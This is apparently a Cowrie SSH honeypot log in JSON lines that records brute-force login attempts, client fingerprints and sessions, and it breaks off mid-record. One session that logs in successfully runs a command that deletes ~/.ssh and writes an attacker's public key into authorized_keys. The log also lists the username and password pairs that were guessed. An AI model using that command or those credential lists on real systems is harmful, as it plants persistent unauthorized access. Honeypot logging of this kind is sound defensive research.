{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:28.324229Z","src_ip":"103.97.101.25","session":"60007db3027b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cron","message":"login attempt [root/cron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:28.471345Z","src_ip":"163.7.1.218","session":"cd9b097fe4dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":50294,"dst_ip":"10.17.0.5","dst_port":22,"session":"d16282d4a59f","protocol":"ssh","message":"New connection: 154.116.254.157:50294 (10.17.0.5:22) [session: d16282d4a59f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:28.885035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:28.887583Z","src_ip":"154.116.254.157","session":"d16282d4a59f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:29.052872Z","src_ip":"154.116.254.157","session":"d16282d4a59f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manish","message":"login attempt [root/manish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:29.299823Z","src_ip":"103.97.101.25","session":"60007db3027b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sosnov","password":"123456","message":"login attempt [sosnov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:29.610087Z","src_ip":"159.65.58.200","session":"d09cf8d9b785","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:29.731462Z","src_ip":"163.7.1.218","session":"cd9b097fe4dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"123123","message":"login attempt [test2/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:29.753471Z","src_ip":"154.116.254.157","session":"d16282d4a59f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:30.537771Z","src_ip":"103.97.101.25","session":"60007db3027b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:30.923268Z","src_ip":"154.116.254.157","session":"d16282d4a59f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:31.203975Z","src_ip":"159.65.58.200","session":"d09cf8d9b785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44838,"dst_ip":"10.17.0.5","dst_port":22,"session":"c655c3c009fd","protocol":"ssh","message":"New connection: 8.210.75.243:44838 (10.17.0.5:22) [session: c655c3c009fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:44.355442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:44.359186Z","src_ip":"8.210.75.243","session":"c655c3c009fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":34074,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d41b07e4611","protocol":"ssh","message":"New connection: 152.53.185.81:34074 (10.17.0.5:22) [session: 0d41b07e4611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:51.336337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:51.339888Z","src_ip":"152.53.185.81","session":"0d41b07e4611","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:51.427610Z","src_ip":"152.53.185.81","session":"0d41b07e4611","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":58558,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9975ac6e834","protocol":"ssh","message":"New connection: 164.92.161.148:58558 (10.17.0.5:22) [session: b9975ac6e834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:51.454702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:51.459963Z","src_ip":"164.92.161.148","session":"b9975ac6e834","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:51.541539Z","src_ip":"164.92.161.148","session":"b9975ac6e834","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Windows@123","message":"login attempt [root/Windows@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:51.811683Z","src_ip":"152.53.185.81","session":"0d41b07e4611","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testwww","password":"testwww","message":"login attempt [testwww/testwww] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:51.902887Z","src_ip":"164.92.161.148","session":"b9975ac6e834","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:52.902373Z","src_ip":"152.53.185.81","session":"0d41b07e4611","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:52.985821Z","src_ip":"164.92.161.148","session":"b9975ac6e834","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":58632,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7dc8829645b","protocol":"ssh","message":"New connection: 113.161.222.150:58632 (159.203.135.109:22) [session: b7dc8829645b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:59.668802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:59.672630Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:23:59.914295Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"administrator","message":"login attempt [admin/administrator] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:00.913068Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:01.438464Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:01.441082Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:01.444134Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:01.925301Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:02.219507Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:02.222350Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:02.467600Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:02.471056Z","src_ip":"113.161.222.150","session":"b7dc8829645b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":59526,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f8d6fb5f6a5","protocol":"ssh","message":"New connection: 113.161.222.150:59526 (159.203.135.109:22) [session: 4f8d6fb5f6a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:02.706016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:02.710155Z","src_ip":"113.161.222.150","session":"4f8d6fb5f6a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:02.951097Z","src_ip":"113.161.222.150","session":"4f8d6fb5f6a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:03.947738Z","src_ip":"113.161.222.150","session":"4f8d6fb5f6a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56944,"dst_ip":"10.17.0.5","dst_port":22,"session":"0707363f9150","protocol":"ssh","message":"New connection: 8.210.75.243:56944 (10.17.0.5:22) [session: 0707363f9150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:04.328240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:04.332416Z","src_ip":"8.210.75.243","session":"0707363f9150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:05.189785Z","src_ip":"113.161.222.150","session":"4f8d6fb5f6a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":60366,"dst_ip":"159.203.135.109","dst_port":22,"session":"daba2c9a05ac","protocol":"ssh","message":"New connection: 113.161.222.150:60366 (159.203.135.109:22) [session: daba2c9a05ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:05.423637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:24:05.426448Z","src_ip":"113.161.222.150","session":"daba2c9a05ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr